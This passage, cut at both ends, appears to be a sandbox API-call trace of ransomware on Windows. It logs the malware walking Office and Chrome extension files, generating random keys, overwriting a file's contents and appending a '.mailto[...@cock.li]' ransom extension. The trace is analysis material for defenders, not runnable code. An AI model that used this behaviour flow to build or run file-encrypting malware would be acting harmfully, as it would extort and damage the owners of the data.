Office\\Office14\\PUBWIZ\\DGMARQ.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.dpv")) returned 0x20 [0180.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.DPV", dwFileAttributes=0x20) returned 0 [0180.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.446] GetLastError () returned 0x5 [0180.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.DPV", dwFileAttributes=0x20) returned 0 [0180.446] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50968) returned 1 Thread: id = 6970 os_tid = 0x1f90 [0175.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.xml")) returned 0x20 [0180.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.XML", dwFileAttributes=0x20) returned 0 [0180.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.445] GetLastError () returned 0x5 [0180.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.XML", dwFileAttributes=0x20) returned 0 [0180.446] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50170) returned 1 Thread: id = 6971 os_tid = 0x1f94 [0175.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMASTHD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmasthd.dpv")) returned 0x20 [0180.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMASTHD.DPV", dwFileAttributes=0x20) returned 0 [0180.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMASTHD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmasthd.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.445] GetLastError () returned 0x5 [0180.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMASTHD.DPV", dwFileAttributes=0x20) returned 0 [0180.445] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50858) returned 1 Thread: id = 6972 os_tid = 0x1f98 [0175.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.dpv")) returned 0x20 [0180.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.DPV", dwFileAttributes=0x20) returned 0 [0180.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.444] GetLastError () returned 0x5 [0180.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.DPV", dwFileAttributes=0x20) returned 0 [0180.444] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50418) returned 1 Thread: id = 6973 os_tid = 0x1f9c [0175.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.xml")) returned 0x20 [0180.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.XML", dwFileAttributes=0x20) returned 0 [0180.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.442] GetLastError () returned 0x5 [0180.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.XML", dwFileAttributes=0x20) returned 0 [0180.443] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50c98) returned 1 Thread: id = 6974 os_tid = 0x1fa0 [0175.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.dpv")) returned 0x20 [0180.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.DPV", dwFileAttributes=0x20) returned 0 [0180.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.442] GetLastError () returned 0x5 [0180.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.DPV", dwFileAttributes=0x20) returned 0 [0180.442] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50c10) returned 1 Thread: id = 6975 os_tid = 0x1fa4 [0175.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.xml")) returned 0x20 [0180.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.XML", dwFileAttributes=0x20) returned 0 [0180.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.441] GetLastError () returned 0x5 [0180.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.XML", dwFileAttributes=0x20) returned 0 [0180.441] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51958) returned 1 Thread: id = 6976 os_tid = 0x1fa8 [0175.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.dpv")) returned 0x20 [0180.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.DPV", dwFileAttributes=0x20) returned 0 [0180.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.440] GetLastError () returned 0x5 [0180.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.DPV", dwFileAttributes=0x20) returned 0 [0180.440] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51160) returned 1 Thread: id = 6977 os_tid = 0x1fac [0175.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.xml")) returned 0x20 [0180.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.XML", dwFileAttributes=0x20) returned 0 [0180.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.440] GetLastError () returned 0x5 [0180.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.XML", dwFileAttributes=0x20) returned 0 [0180.440] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51408) returned 1 Thread: id = 6978 os_tid = 0x1fb0 [0175.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.dpv")) returned 0x20 [0179.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.DPV", dwFileAttributes=0x20) returned 0 [0179.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0179.964] GetLastError () returned 0x5 [0179.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.DPV", dwFileAttributes=0x20) returned 0 [0179.965] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50748) returned 1 Thread: id = 6979 os_tid = 0x1fb4 [0175.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.xml")) returned 0x20 [0180.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.XML", dwFileAttributes=0x20) returned 0 [0180.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.437] GetLastError () returned 0x5 [0180.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.XML", dwFileAttributes=0x20) returned 0 [0180.437] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51d10) returned 1 Thread: id = 6980 os_tid = 0x1fb8 [0175.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.dpv")) returned 0x20 [0180.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.DPV", dwFileAttributes=0x20) returned 0 [0180.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.437] GetLastError () returned 0x5 [0180.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.DPV", dwFileAttributes=0x20) returned 0 [0180.437] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c507d0) returned 1 Thread: id = 6981 os_tid = 0x1fbc [0175.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.xml")) returned 0x20 [0180.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.XML", dwFileAttributes=0x20) returned 0 [0180.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.438] GetLastError () returned 0x5 [0180.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.XML", dwFileAttributes=0x20) returned 0 [0180.438] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50eb8) returned 1 Thread: id = 6982 os_tid = 0x1fc0 [0175.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.dpv")) returned 0x20 [0180.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.DPV", dwFileAttributes=0x20) returned 0 [0180.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.388] GetLastError () returned 0x5 [0180.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.DPV", dwFileAttributes=0x20) returned 0 [0180.388] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51d98) returned 1 Thread: id = 6983 os_tid = 0x1fc4 [0175.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.xml")) returned 0x20 [0180.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.XML", dwFileAttributes=0x20) returned 0 [0180.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.439] GetLastError () returned 0x5 [0180.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.XML", dwFileAttributes=0x20) returned 0 [0180.439] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c518d0) returned 1 Thread: id = 6988 os_tid = 0x940 [0176.326] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json")) returned 0x2020 [0176.326] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json", dwFileAttributes=0x20) returned 1 [0176.327] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x760 [0176.327] GetFileSizeEx (in: hFile=0x760, lpFileSize=0x6b3f910 | out: lpFileSize=0x6b3f910*=783) returned 1 [0176.327] SetFilePointerEx (in: hFile=0x760, liDistanceToMove=0x30b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.327] ReadFile (in: hFile=0x760, lpBuffer=0x6b3f894, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6b3f890, lpOverlapped=0x0 | out: lpBuffer=0x6b3f894*, lpNumberOfBytesRead=0x6b3f890*=0x4, lpOverlapped=0x0) returned 1 [0176.328] SetFilePointerEx (in: hFile=0x760, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.328] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9458e8 [0176.328] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945910 [0176.328] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9459d8 [0176.328] NtQuerySystemTime (in: CurrentTime=0x6b3f870 | out: CurrentTime=0x6b3f870*=132174899509282000) returned 0x0 [0176.328] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x77dccb8d [0176.328] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x291b6fc8 [0176.328] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x2ce0e7e9 [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x4e52eecb [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x3f863753 [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x603b1144 [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0xbe0496d [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0xd7b1d95 [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x4ac1deff [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x65de09a8 [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x27f23e5f [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0xfcae5de [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x70c3217a [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x4d792902 [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x2006c406 [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0xe6ec671 [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x46850ad5 [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x1c45fa4f [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x3dde1f73 [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x74e0e379 [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x6345cb3d [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x2f6429f5 [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x8901be5 [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x24553e2b [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x7dcf20e [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x16528e3e [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x40dc2c80 [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x288f10c3 [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x13c33931 [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x5cd1561 [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x57f0ad3b [0176.329] RtlRandomEx (in: Seed=0x6b3f87c | out: Seed=0x6b3f87c) returned 0x132f21c [0176.343] ReadFile (hFile=0x760, lpBuffer=0xd505078, nNumberOfBytesToRead=0x30f, lpNumberOfBytesRead=0x6b3f86c, lpOverlapped=0x0) [0176.343] SetFilePointerEx (in: hFile=0x760, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.344] WriteFile (in: hFile=0x760, lpBuffer=0xd511880*, nNumberOfBytesToWrite=0x30f, lpNumberOfBytesWritten=0x6b3f868, lpOverlapped=0x0 | out: lpBuffer=0xd511880*, lpNumberOfBytesWritten=0x6b3f868*=0x30f, lpOverlapped=0x0) returned 1 [0177.542] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef38 [0177.542] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeda8 [0177.542] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeda8) returned 1 [0177.542] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd511880) returned 1 [0177.544] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd505078) returned 1 [0177.544] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8800) returned 1 [0177.544] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2668) returned 1 [0177.544] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0xd4d8230 [0177.544] SetFilePointerEx (in: hFile=0x760, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.544] WriteFile (in: hFile=0x760, lpBuffer=0x12cf54f0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x6b3f8d0, lpOverlapped=0x0 | out: lpBuffer=0x12cf54f0*, lpNumberOfBytesWritten=0x6b3f8d0*=0x10b, lpOverlapped=0x0) returned 1 [0178.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf54f0) returned 1 [0178.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8260) returned 1 [0178.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeda8) returned 1 [0178.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8230) returned 1 [0178.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef38) returned 1 [0178.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945910) returned 1 [0178.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945b40) returned 1 [0178.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945c08) returned 1 [0178.846] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x180) returned 0x909a68 [0178.846] wcscpy (in: _Dest=0x909a68, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json" [0178.846] wcscat (in: _Dest=0x909a68, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0178.846] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x6b3f888, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0178.846] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x196) returned 0x9046b0 Thread: id = 6989 os_tid = 0x94c [0176.352] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json")) returned 0x2020 [0176.352] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 